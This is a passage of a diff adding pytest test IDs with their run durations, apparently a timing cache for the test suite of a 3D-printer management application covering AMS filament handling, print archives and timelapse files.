"unit/services/test_vp_diagnostic.py::TestRunVpDiagnostic::test_stale_bind_ip_fails_interface_check": 0.0017303135246038437, + "unit/services/test_vp_ftp_port_slicing.py::TestComputePassivePortSlice::test_consecutive_vp_ids_get_adjacent_non_overlapping_slices": 0.0012112203985452652, + "unit/services/test_vp_ftp_port_slicing.py::TestComputePassivePortSlice::test_no_two_distinct_vp_ids_within_max_slots_share_a_port": 0.0012639490887522697, + "unit/services/test_vp_ftp_port_slicing.py::TestComputePassivePortSlice::test_non_positive_ids_clamp_to_slot_zero[-1]": 0.0012219315394759178, + "unit/services/test_vp_ftp_port_slicing.py::TestComputePassivePortSlice::test_non_positive_ids_clamp_to_slot_zero[-999]": 0.0012543806806206703, + "unit/services/test_vp_ftp_port_slicing.py::TestComputePassivePortSlice::test_non_positive_ids_clamp_to_slot_zero[0]": 0.0012441817671060562, + "unit/services/test_vp_ftp_port_slicing.py::TestComputePassivePortSlice::test_top_slot_is_within_base_pool": 0.0011936072260141373, + "unit/services/test_vp_ftp_port_slicing.py::TestComputePassivePortSlice::test_vp_id_one_starts_at_base": 0.001199827529489994, + "unit/services/test_vp_ftp_port_slicing.py::TestComputePassivePortSlice::test_wraps_modulo_max_slots": 0.001207343302667141, + "unit/services/test_vp_ftp_port_slicing.py::TestFTPServerHonoursPerInstanceRange::test_default_construction_gives_a_one_slice_window": 0.0012845685705542564, + "unit/services/test_vp_ftp_port_slicing.py::TestFTPServerHonoursPerInstanceRange::test_two_instances_independent_ranges": 0.0013054991140961647, + "unit/test_3mf_fallback_matching.py::TestLikeEscaping::test_percent_and_backslash": 0.0011309478431940079, + "unit/test_3mf_fallback_matching.py::TestLikeEscaping::test_underscores_are_literal": 0.0011366801336407661, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_a_model_named_after_a_plate_survives": 0.001131860539317131, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_a_real_filename_still_wins": 0.001144586130976677, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_every_plate_spelling_is_refused[PLATE_3]": 0.0011967029422521591, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_every_plate_spelling_is_refused[plate1]": 0.0011812541633844376, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_every_plate_spelling_is_refused[plate_12]": 0.0011861342936754227, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_every_plate_spelling_is_refused[plate_1]": 0.0011859219521284103, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_no_usable_name_matches_nothing": 0.0011524902656674385, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_surrounding_whitespace_is_still_ignored": 0.001141190528869629, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_the_plate_path_is_refused": 0.0011687316000461578, + "unit/test_3mf_fallback_matching.py::TestSearchStem::test_whitespace_before_the_extension_is_preserved": 0.0011255508288741112, + "unit/test_3mf_fallback_matching.py::TestStemMatchesAtABoundary::test_it_anchors_the_basename": 0.0013285698369145393, + "unit/test_3mf_fallback_matching.py::TestStemMatchesAtABoundary::test_it_escapes_the_stem": 0.0013315258547663689, + "unit/test_3mf_fallback_matching.py::TestStemMatchesAtABoundary::test_it_no_longer_matches_a_suffix_of_a_longer_name": 0.0014942502602934837, + "unit/test_3mf_fallback_matching.py::test_a_genuine_same_model_reprint_still_resolves": 0.18146191351115704, + "unit/test_3mf_fallback_matching.py::test_the_h2d_collision_no_longer_resolves": 0.17868563998490572, + "unit/test_a2l_ams_lite_2619.py::TestHelpers::test_normalize_touches_only_16": 0.0017272885888814926, + "unit/test_a2l_ams_lite_2619.py::TestHelpers::test_wire_ids_only_for_normalised_6": 0.0012405849993228912, + "unit/test_a2l_ams_lite_2619.py::TestIngestNormalisation::test_bare_list_ams_shape_is_also_normalised": 0.0012477878481149673, + "unit/test_a2l_ams_lite_2619.py::TestIngestNormalisation::test_exists_annotation_uses_bit_base_24": 0.0012799501419067383, + "unit/test_a2l_ams_lite_2619.py::TestIngestNormalisation::test_regular_ams_untouched": 0.0012105274945497513, + "unit/test_a2l_ams_lite_2619.py::TestIngestNormalisation::test_unit_id_16_normalised_to_6": 0.0013945642858743668, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_cali_sel_uses_physical_global_tray": 0.001505301333963871, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_cali_set_remaps_global_tray": 0.0019795289263129234, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_drying_uses_physical_16": 0.001523285172879696, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_load_filament_target_and_ams": 0.0016176532953977585, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_refresh_tray_uses_physical_16": 0.0017641056329011917, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_regular_ams_command_unchanged": 0.0015554260462522507, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_reset_slot_uses_physical_16_local_slot": 0.001956738531589508, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_set_filament_setting_uses_physical_16_local_slot": 0.001638159155845642, + "unit/test_a2l_ams_lite_2619.py::TestOutboundTranslation::test_unload_uses_physical_ams": 0.0016464367508888245, + "unit/test_a2l_ams_lite_2619.py::TestTrayExistBitsBitBase::test_exists_annotation_matches_physical_slots": 0.001175745390355587, + "unit/test_a2l_ams_lite_2619.py::TestTrayExistBitsBitBase::test_normalised_id_6_matches_physical_id_16": 0.001164042390882969, + "unit/test_a2l_ams_lite_2619.py::TestTrayExistBitsBitBase::test_physical_id_16_uses_bit_base_24": 0.0011750301346182823, + "unit/test_a2l_ams_lite_2619.py::TestTrayExistBitsBitBase::test_regular_ams_unchanged": 0.001176653429865837, + "unit/test_a2l_ams_lite_2619.py::TestTrayNowGlobalisation::test_globalised_tray_passes_last_valid_guard": 0.0012815920636057854, + "unit/test_a2l_ams_lite_2619.py::TestTrayNowGlobalisation::test_local_tray_now_globalised_to_24_plus_slot": 0.0012686578556895256, + "unit/test_accessory_plug_queue_stall_2629.py::test_printer_recovers_and_queue_can_dispatch_again": 0.001463843509554863, + "unit/test_accessory_plug_queue_stall_2629.py::test_real_power_cut_still_leaves_printer_unavailable": 0.0012896275147795677, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_empty_bits_string_falls_back_to_tray_array": 0.0011620288714766502, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_falls_back_to_tray_array_when_bits_missing": 0.0011801421642303467, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_missing_both_signals_returns_false": 0.001179979182779789, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_non_dict_tray_entries_are_skipped": 0.0011836886405944824, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_non_string_bits_falls_back": 0.0011804327368736267, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_tray_exist_bits_nonzero_means_loaded": 0.0012015113607048988, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_tray_exist_bits_zero_means_empty": 0.0012043770402669907, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_unparseable_bitmap_falls_back_to_tray_array": 0.0011799922212958336, + "unit/test_ams_alarm_gating.py::TestAmsHasFilament::test_whitespace_tray_type_is_not_loaded": 0.0011700019240379333, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_checking_and_drying_phases_count_as_active": 0.0012032641097903252, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_cooling_phase_counts_as_active": 0.0012259576469659805, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_countdown_running_is_active": 0.0012138541787862778, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_ending_phases_do_not_count_as_active": 0.001214396208524704, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_heat_out_of_control_is_not_active": 0.0012182136997580528, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_idle_unit_is_not_active": 0.0012008119374513626, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_missing_dry_status_falls_back_to_countdown": 0.0012218393385410309, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_non_mapping_input_is_not_active": 0.001361733302474022, + "unit/test_ams_alarm_gating.py::TestIsDryingActive::test_unparseable_values_do_not_raise": 0.0012410050258040428, + "unit/test_ams_alarm_gating.py::TestLatchReleasesAtTheAlarmThreshold::test_a_genuinely_hot_unit_still_alarms_after_the_cap": 0.0012376178056001663, + "unit/test_ams_alarm_gating.py::TestLatchReleasesAtTheAlarmThreshold::test_a_unit_resting_above_the_display_band_releases_on_the_alarm_threshold": 0.0011923843994736671, + "unit/test_ams_alarm_gating.py::TestLatchReleasesAtTheAlarmThreshold::test_the_same_reading_stays_latched_against_the_display_band": 0.001207803376019001, + "unit/test_ams_alarm_gating.py::TestTempAlarmThresholdResolution::test_a_set_value_wins": 0.0012152958661317825, + "unit/test_ams_alarm_gating.py::TestTempAlarmThresholdResolution::test_a_value_below_the_display_band_is_honoured": 0.0011886665597558022, + "unit/test_ams_alarm_gating.py::TestTempAlarmThresholdResolution::test_garbage_falls_back_rather_than_raising": 0.0011856332421302795, + "unit/test_ams_alarm_gating.py::TestTempAlarmThresholdResolution::test_it_tracks_an_edited_fair_threshold_while_unset": 0.001200229860842228, + "unit/test_ams_alarm_gating.py::TestTempAlarmThresholdResolution::test_nan_and_infinity_are_refused": 0.0011942572891712189, + "unit/test_ams_alarm_gating.py::TestTempAlarmThresholdResolution::test_the_literal_none_string_falls_back_too": 0.0012217294424772263, + "unit/test_ams_alarm_gating.py::TestTempAlarmThresholdResolution::test_unset_falls_back_to_the_fair_threshold": 0.0012119123712182045, + "unit/test_ams_alarm_gating.py::TestTempAlarmThresholdResolution::test_zero_and_negative_are_refused": 0.0012006405740976334, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_a_new_cycle_refreshes_the_latch": 0.0012089172378182411, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_alarms_again_after_the_latch_is_cleared": 0.0011882083490490913, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_cooled_back_to_normal_clears_latch": 0.0012186737731099129, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_drying_latches_even_when_below_threshold": 0.0012108180671930313, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_drying_suppresses_and_sets_latch": 0.001189650036394596, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_exactly_at_threshold_counts_as_cooled": 0.0012466665357351303, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_grace_cap_boundary_releases": 0.001202654093503952, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_grace_cap_releases_a_unit_that_never_cools": 0.0011897888034582138, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_just_inside_the_grace_cap_still_suppresses": 0.001195359043776989, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_no_drying_no_latch_alarms_normally": 0.0011993693187832832, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_still_hot_after_cycle_stays_suppressed": 0.0012474898248910904, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_the_cap_is_measured_from_the_latch": 0.0012239115312695503, + "unit/test_ams_alarm_gating.py::TestTemperatureAlarmSuppressed::test_unreadable_temperature_holds_the_latch": 0.0012086639180779457, + "unit/test_ams_assignment_lock.py::TestLockKeySeparation::test_different_printers_get_different_locks": 0.0014864671975374222, + "unit/test_ams_assignment_lock.py::TestLockKeySeparation::test_same_printer_returns_same_lock": 0.001241547055542469, + "unit/test_ams_assignment_lock.py::TestLockSerialisesConcurrentCallbacks::test_different_printers_run_in_parallel": 0.001533794216811657, + "unit/test_ams_assignment_lock.py::TestLockSerialisesConcurrentCallbacks::test_second_acquirer_waits_for_first": 0.0016976036131381989, + "unit/test_ams_mapping_unresolved_2589.py::TestEnsureAmsMapping::test_missing_mapping_is_computed": 0.0019271522760391235, + "unit/test_ams_mapping_unresolved_2589.py::TestEnsureAmsMapping::test_recompute_none_leaves_missing_untouched": 0.0019488520920276642, + "unit/test_ams_mapping_unresolved_2589.py::TestEnsureAmsMapping::test_resolved_mapping_is_left_untouched": 0.0017050672322511673, + "unit/test_ams_mapping_unresolved_2589.py::TestEnsureAmsMapping::test_stored_unresolved_is_recomputed": 0.0022548260167241096, + "unit/test_ams_mapping_unresolved_2589.py::TestEnsureAmsMapping::test_unresolvable_stored_mapping_is_cleared": 0.0019465675577521324, + "unit/test_ams_mapping_unresolved_2589.py::TestMappingIsAllUnresolved::test_all_minus_one_is_unresolved": 0.0012040454894304276, + "unit/test_ams_mapping_unresolved_2589.py::TestMappingIsAllUnresolved::test_empty_or_none_is_not_unresolved": 0.0011965520679950714, + "unit/test_ams_mapping_unresolved_2589.py::TestMappingIsAllUnresolved::test_explicit_external_is_not_unresolved": 0.00121990405023098, + "unit/test_ams_mapping_unresolved_2589.py::TestMappingIsAllUnresolved::test_none_entries_are_unresolved": 0.001195952296257019, + "unit/test_ams_mapping_unresolved_2589.py::TestMappingIsAllUnresolved::test_partially_resolved_is_not_unresolved": 0.0011941082775592804, + "unit/test_ams_mapping_unresolved_2589.py::TestMappingIsAllUnresolved::test_resolved_ams_is_not_unresolved": 0.0011958228424191475, + "unit/test_ams_mapping_unresolved_2589.py::TestStartPrintExternalDowngrade::test_explicit_external_forces_use_ams_false": 0.0017294017598032951, + "unit/test_ams_mapping_unresolved_2589.py::TestStartPrintExternalDowngrade::test_padded_partial_mapping_keeps_use_ams_true": 0.0016904687508940697, + "unit/test_ams_mapping_unresolved_2589.py::TestStartPrintExternalDowngrade::test_resolved_ams_keeps_use_ams_true": 0.0016785860061645508, + "unit/test_ams_mapping_unresolved_2589.py::TestStartPrintExternalDowngrade::test_unresolved_mapping_keeps_use_ams_true": 0.0017875796183943748, + "unit/test_ams_slot_location_cleanup.py::test_keeps_a_marker_a_legacy_free_text_spool_still_names": 0.0709677254781127, + "unit/test_ams_slot_location_cleanup.py::test_keeps_a_marker_a_spool_is_actually_filed_under": 0.0681520365178585, + "unit/test_ams_slot_location_cleanup.py::test_marks_itself_done_on_an_install_with_nothing_to_remove": 0.06763973738998175, + "unit/test_ams_slot_location_cleanup.py::test_removes_the_slot_markers_and_keeps_real_locations": 0.0710983294993639, + "unit/test_ams_slot_location_cleanup.py::test_runs_exactly_once": 0.07588834781199694, + "unit/test_ams_temp_alarm_dispatch_2905.py::test_a_set_threshold_is_both_what_fires_and_what_the_message_quotes": 0.17652571201324463, + "unit/test_ams_temp_alarm_dispatch_2905.py::test_ambient_room_heat_below_the_alarm_threshold_sends_nothing": 0.18019699212163687, + "unit/test_ams_temp_alarm_dispatch_2905.py::test_an_install_that_never_set_one_alarms_at_the_display_band": 0.1849225116893649, + "unit/test_ams_temp_alarm_dispatch_2905.py::test_an_unusable_value_falls_back_instead_of_silencing_the_alarm": 0.18336049187928438, + "unit/test_ams_temp_alarm_dispatch_2905.py::test_clearing_the_field_restores_the_old_behaviour": 0.17986608296632767, + "unit/test_ams_tray_tar_parse_2587.py::TestTrayTarPreCapture::test_change_while_paused_is_logged": 0.001905892975628376, + "unit/test_ams_tray_tar_parse_2587.py::TestTrayTarPreCapture::test_defaults_untouched_when_absent": 0.0012791268527507782, + "unit/test_ams_tray_tar_parse_2587.py::TestTrayTarPreCapture::test_no_log_when_not_paused": 0.0017260462045669556, + "unit/test_ams_tray_tar_parse_2587.py::TestTrayTarPreCapture::test_reporter_pause_values_are_stored": 0.0020438898354768753, + "unit/test_ams_tray_tar_parse_2587.py::TestTrayTarPreCapture::test_string_values_are_coerced": 0.0012958589941263199, + "unit/test_ams_tray_tar_parse_2587.py::TestTrayTarPreCapture::test_unparseable_value_falls_back_to_sentinel": 0.0012511154636740685, + "unit/test_archive_bed_temperature_2989.py::TestOrcaExportsStillWork::test_the_generic_first_layer_key": 0.0019303979352116585, + "unit/test_archive_bed_temperature_2989.py::TestOrcaExportsStillWork::test_the_generic_key": 0.0016583390533924103, + "unit/test_archive_bed_temperature_2989.py::TestOrcaExportsStillWork::test_the_plate_array_is_preferred_when_both_are_present": 0.002118149772286415, + "unit/test_archive_bed_temperature_2989.py::TestTheNeighbouringSettingsAreUntouched::test_nozzle_temperature_layer_height_and_diameter": 0.0015090005472302437, + "unit/test_archive_bed_temperature_2989.py::TestThePerFilamentArray::test_a_leading_zero_does_not_win": 0.0012444527819752693, + "unit/test_archive_bed_temperature_2989.py::TestThePerFilamentArray::test_a_scalar_rather_than_an_array": 0.001241236925125122, + "unit/test_archive_bed_temperature_2989.py::TestThePerFilamentArray::test_numeric_strings_and_floats": 0.001237328164279461, + "unit/test_archive_bed_temperature_2989.py::TestThePerFilamentArray::test_the_highest_entry_wins": 0.0012495722621679306, + "unit/test_archive_bed_temperature_2989.py::TestThePlateTheProjectIsSlicedFor::test_every_plate_type_reads_its_own_array[Cool Plate-cool_plate_temp]": 0.001629674807190895, + "unit/test_archive_bed_temperature_2989.py::TestThePlateTheProjectIsSlicedFor::test_every_plate_type_reads_its_own_array[Engineering Plate-eng_plate_temp]": 0.0018305815756320953, + "unit/test_archive_bed_temperature_2989.py::TestThePlateTheProjectIsSlicedFor::test_every_plate_type_reads_its_own_array[High Temp Plate-hot_plate_temp]": 0.001324523240327835, + "unit/test_archive_bed_temperature_2989.py::TestThePlateTheProjectIsSlicedFor::test_every_plate_type_reads_its_own_array[Supertack Plate-supertack_plate_temp]": 0.0015002116560935974, + "unit/test_archive_bed_temperature_2989.py::TestThePlateTheProjectIsSlicedFor::test_every_plate_type_reads_its_own_array[Textured PEI Plate-textured_plate_temp]": 0.0013761604204773903, + "unit/test_archive_bed_temperature_2989.py::TestThePlateTheProjectIsSlicedFor::test_the_first_layer_value_is_preferred": 0.0012394124642014503, + "unit/test_archive_bed_temperature_2989.py::TestThePlateTheProjectIsSlicedFor::test_the_fitted_plate_wins_over_the_others": 0.001350579783320427, + "unit/test_archive_bed_temperature_2989.py::TestThePlateTheProjectIsSlicedFor::test_the_regular_value_when_there_is_no_first_layer_one": 0.001223582774400711, + "unit/test_archive_bed_temperature_2989.py::TestWhatItRefusesToInvent::test_a_config_with_no_bed_temperature_at_all": 0.0012439126148819923, + "unit/test_archive_bed_temperature_2989.py::TestWhatItRefusesToInvent::test_a_plate_bambustudio_maps_to_no_key": 0.0012453040108084679, + "unit/test_archive_bed_temperature_2989.py::TestWhatItRefusesToInvent::test_a_plate_name_we_do_not_know": 0.0012485403567552567, + "unit/test_archive_bed_temperature_2989.py::TestWhatItRefusesToInvent::test_an_all_zero_plate_array_is_not_a_bed_temperature": 0.001250232569873333, + "unit/test_archive_bed_temperature_2989.py::TestWhatItRefusesToInvent::test_junk_entries_are_stepped_over": 0.0012518158182501793, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestANo3mfArchivesFiles::test_a_recorded_path_outside_the_directory_is_not_followed": 0.0016388306394219398, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestANo3mfArchivesFiles::test_an_unrecognised_file_keeps_the_directory": 0.0014727506786584854, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestANo3mfArchivesFiles::test_its_timelapse_and_photos_are_removed": 0.0018828082829713821, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestANo3mfArchivesFiles::test_its_uploaded_source_directory_is_removed": 0.0014959340915083885, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestANo3mfArchivesFiles::test_no_error_is_logged_for_an_ordinary_empty_path": 0.0014364607632160187, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestANo3mfArchivesFiles::test_the_shared_legacy_photo_directory_is_never_touched": 0.001423938199877739, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestAnArchiveWithA3mf::test_a_directory_that_does_not_exist_is_not_offered": 0.0016767140477895737, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestAnArchiveWithA3mf::test_a_file_where_a_directory_should_be_is_not_offered": 0.0013924483209848404, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestAnArchiveWithA3mf::test_a_missing_3mf_no_longer_strands_the_directory": 0.0014884509146213531, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestAnArchiveWithA3mf::test_a_path_outside_the_archive_tree_is_refused_and_logged": 0.001654941588640213, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestAnArchiveWithA3mf::test_its_own_directory_is_removed": 0.0014850739389657974, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestBothDeletePathsUseIt::test_hard_delete_removes_the_video_and_the_upload": 0.18432435858994722, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestBothDeletePathsUseIt::test_hard_delete_still_removes_the_row_when_a_guard_trips": 0.18685500230640173, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestBothDeletePathsUseIt::test_soft_delete_removes_the_video_and_the_upload": 0.18755090609192848, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestItCannotDeleteAPrinterFolder::test_a_corrupted_row_pointing_at_a_printer_folder": 0.0024473974481225014, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestItCannotDeleteAPrinterFolder::test_a_no_3mf_archive_whose_id_matches_a_printer": 0.0017036031931638718, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestItCannotDeleteAPrinterFolder::test_and_the_purge_leaves_it_standing": 0.0016326205804944038, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestItCannotDeleteAPrinterFolder::test_end_to_end_through_delete_archive": 0.1856763930991292, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestItCannotDeleteAPrinterFolder::test_nothing_it_returns_is_ever_one_level_deep": 0.002559537999331951, + "unit/test_archive_delete_no_3mf_dirs_2968.py::TestItCannotDeleteAPrinterFolder::test_the_archive_root_itself_is_refused": 0.0016828253865242004, + "unit/test_archive_file_path_guard.py::TestFallbackArchiveFilePath::test_archive_file_path_empty_string_is_falsy": 0.0012374995276331902, + "unit/test_archive_file_path_guard.py::TestFallbackArchiveFilePath::test_archive_file_path_real_is_truthy": 0.001226820982992649, + "unit/test_archive_file_path_guard.py::TestFallbackArchiveFilePath::test_base_dir_slash_empty_string_is_base_dir": 0.001316857524216175, + "unit/test_archive_file_path_guard.py::TestIsFileGuard::test_directory_fails_is_file": 0.0012448020279407501, + "unit/test_archive_file_path_guard.py::TestIsFileGuard::test_empty_path_resolves_to_parent": 0.002015087753534317, + "unit/test_archive_file_path_guard.py::TestIsFileGuard::test_nonexistent_file_fails_is_file": 0.0012631360441446304, + "unit/test_archive_file_path_guard.py::TestIsFileGuard::test_real_file_passes_is_file": 0.0014366544783115387, + "unit/test_archive_file_path_guard.py::TestPhotoPathDerivation::test_empty_file_path_parent_is_dot": 0.0012540314346551895, + "unit/test_archive_file_path_guard.py::TestPhotoPathDerivation::test_real_file_path_parent_is_archive_dir": 0.001251034438610077, + "unit/test_archive_filtering.py::TestAttachTimelapseBackgroundConversion::test_avi_spawns_background_conversion": 0.0036391606554389, + "unit/test_archive_filtering.py::TestAttachTimelapseBackgroundConversion::test_mp4_does_not_spawn_conversion": 0.0035034073516726494, + "unit/test_archive_filtering.py::TestCalibrationPrintFiltering::test_normal_gcode_not_skipped": 0.06388688273727894, + "unit/test_archive_filtering.py::TestCalibrationPrintFiltering::test_usr_prefix_skips_archive": 0.10855709947645664, + "unit/test_archive_filtering.py::TestCalibrationPrintFiltering::test_usr_prefix_various_paths": 0.19430408347398043, + "unit/test_archive_filtering.py::TestConvertTimelapseToMp4::test_cleans_up_on_ffmpeg_failure": 0.002005017362535, + "unit/test_archive_filtering.py::TestConvertTimelapseToMp4::test_converts_avi_to_mp4": 0.0045061269775033, + "unit/test_archive_filtering.py::TestConvertTimelapseToMp4::test_skips_when_no_ffmpeg": 0.001704944297671318, + "unit/test_archive_filtering.py::TestDeleteTimelapse::test_delete_timelapse_404_when_archive_not_found": 0.002017841674387455, + "unit/test_archive_filtering.py::TestDeleteTimelapse::test_delete_timelapse_404_when_no_timelapse": 0.0020229397341609, + "unit/test_archive_filtering.py::TestDeleteTimelapse::test_delete_timelapse_removes_file_and_clears_db": 0.0026995912194252014, + "unit/test_archive_filtering.py::TestListTimelapseVideos::test_finds_video_files_in_timelapse_dir": 0.0023499447852373123, + "unit/test_archive_filtering.py::TestListTimelapseVideos::test_returns_empty_when_no_files": 0.0020918501541018486, + "unit/test_archive_filtering.py::TestListTimelapseVideos::test_skips_directories": 0.0020058192312717438, + "unit/test_archive_filtering.py::TestListTimelapseVideos::test_tries_multiple_directories": 0.002157445065677166, + "unit/test_archive_filtering.py::TestListTimelapseVideosAvi::test_finds_avi_case_insensitive": 0.0019480008631944656, + "unit/test_archive_filtering.py::TestListTimelapseVideosAvi::test_finds_avi_files": 0.0018479730933904648, + "unit/test_archive_filtering.py::TestListTimelapseVideosAvi::test_scan_detects_new_avi_file": 0.0040300823748111725, + "unit/test_archive_filtering.py::TestScanForTimelapseWithRetries::test_detects_new_file_after_baseline": 0.004443127661943436, + "unit/test_archive_filtering.py::TestScanForTimelapseWithRetries::test_ignores_old_files_with_wrong_mtime": 0.009740605019032955, + "unit/test_archive_filtering.py::TestScanForTimelapseWithRetries::test_no_name_match_rescue": 0.008327127434313297, + "unit/test_archive_filtering.py::TestScanForTimelapseWithRetries::test_polls_until_the_budget_runs_out": 0.00791233777999878, + "unit/test_archive_filtering.py::TestScanForTimelapseWithRetries::test_stops_when_archive_already_has_timelapse": 0.0025783227756619453, + "unit/test_archive_filtering.py::TestScanForTimelapseWithRetries::test_stops_when_archive_not_found": 0.0024800682440400124, + "unit/test_archive_plate_2603.py::test_archive_row_stores_plate_id": 0.060580676421523094, + "unit/test_archive_plate_2603.py::test_backfill_copies_plate_from_linked_queue_row": 0.059762243181467056, + "unit/test_archive_plate_2603.py::test_backfill_does_not_clobber_existing_plate_or_touch_unlinked": 0.058303157798945904, + "unit/test_archive_plate_2603.py::test_run_migrations_adds_column_and_backfills_in_order": 0.8146445164456964, + "unit/test_archive_run_aggregation.py::TestComputeTimeAccuracyMultiRun::test_multi_run_archive_suppresses_both_fields": 0.001315365545451641, + "unit/test_archive_run_aggregation.py::TestComputeTimeAccuracyMultiRun::test_no_run_aggregate_keeps_original_behaviour": 0.0013997023925185204, + "unit/test_archive_run_aggregation.py::TestComputeTimeAccuracyMultiRun::test_run_count_zero_keeps_original_behaviour": 0.00132793840020895, + "unit/test_archive_run_aggregation.py::TestComputeTimeAccuracyMultiRun::test_single_run_keeps_original_behaviour": 0.0020294925197958946, + "unit/test_archive_run_aggregation.py::test_archive_list_includes_run_aggregates": 0.20817986968904734, + "unit/test_archive_run_aggregation.py::test_archive_list_keeps_time_accuracy_for_single_run_archives": 0.20672693755477667, + "unit/test_archive_run_aggregation.py::test_archive_list_suppresses_time_accuracy_for_multi_run_archives": 0.2146068960428238, + "unit/test_archive_run_aggregation.py::test_purge_stats_also_deletes_linked_runs": 0.20689538400620222, + "unit/test_archive_run_aggregation.py::test_runs_endpoint_returns_runs_newest_first": 0.20805539842694998, + "unit/test_archive_run_aggregation.py::test_soft_delete_keeps_runs_for_stats": 0.21372202783823013, + "unit/test_archive_run_aggregation.py::test_stats_count_reprints_independently": 0.2073721271008253, + "unit/test_archive_run_aggregation.py::test_time_accuracy_excludes_multi_plate_plate_by_plate_outliers": 0.21870849560946226, + "unit/test_assign_uses_model_preset_override.py::TestPerDiameterOverride::test_the_slots_nozzle_diameter_selects_the_preset": 0.1874319827184081, + "unit/test_assign_uses_model_preset_override.py::TestWithAModelOverride::test_a_different_model_still_gets_the_spools_preset": 0.1876493999734521, + "unit/test_assign_uses_model_preset_override.py::TestWithAModelOverride::test_the_override_replaces_the_spools_preset": 0.1860033366829157, + "unit/test_assign_uses_model_preset_override.py::TestWithoutAnOverride::test_the_spools_own_preset_is_used": 0.18808901403099298, + "unit/test_assignment_verification_2582.py::TestAssignmentMatch::test_kprofile_match_flags_applied": 0.00214245542883873, + "unit/test_assignment_verification_2582.py::TestAssignmentMatch::test_kprofile_mismatch_flags_not_applied": 0.0020094262436032295, + "unit/test_assignment_verification_2582.py::TestAssignmentMatch::test_match_is_case_insensitive": 0.0016917884349822998, + "unit/test_assignment_verification_2582.py::TestAssignmentMatch::test_matching_tray_info_idx_fires_verified": 0.0023809317499399185, + "unit/test_assignment_verification_2582.py::TestAssignmentPendingAndTimeout::test_divergent_idx_within_window_keeps_waiting": 0.0014353897422552109, + "unit/test_assignment_verification_2582.py::TestAssignmentPendingAndTimeout::test_timeout_after_seeing_divergent_tray_reports_failure": 0.006346716545522213, + "unit/test_assignment_verification_2582.py::TestAssignmentPendingAndTimeout::test_timeout_without_ever_seeing_tray_reports_no_tray": 0.0015703141689300537, + "unit/test_assignment_verification_2582.py::TestExternalSpool::test_external_tray_matches_via_vt_tray": 0.0015824763104319572, + "unit/test_assignment_verification_2582.py::TestRegistrationGuards::test_blank_tray_info_idx_is_not_registered": 0.0012827245518565178, + "unit/test_assignment_verification_2582.py::TestRegistrationGuards::test_reconnect_clears_pending": 0.0012892074882984161, + "unit/test_asyncio_handlers.py::TestInstallation::test_install_attaches_handler_on_windows": 0.0017503611743450165, + "unit/test_asyncio_handlers.py::TestInstallation::test_install_is_no_op_on_non_windows": 0.0022065164521336555, + "unit/test_asyncio_handlers.py::TestIsProactorConnectionReset::test_matches_proactor_cleanup_reset": 0.001391989178955555, + "unit/test_asyncio_handlers.py::TestIsProactorConnectionReset::test_rejects_other_exception_types": 0.0013451110571622849, + 